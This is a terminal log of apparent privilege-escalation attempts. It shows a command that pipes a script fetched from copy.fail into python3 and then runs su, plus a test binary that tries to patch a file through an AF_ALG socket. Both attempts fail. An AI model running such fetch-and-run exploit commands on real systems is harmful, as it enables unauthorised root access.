$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100    731   0    731   0      0   4003      0                              0
Traceback (most recent call last):
  File "<stdin>", line 9, in <module>
  File "<stdin>", line 5, in c
  File "/usr/lib/python3.13/socket.py", line 233, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
    ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
OSError: [Errno 97] Address family not supported by protocol

$ ./vulnerable
content of testfile fd=3 ---
init
---
[+] target:    testfile
[+] payload:   10 bytes (3 iterations)
[+] patch fd=3 off=0 bytes="vuln"
socket(AF_ALG): Address family not supported by protocol
[-] patch_chunk failed at offset 0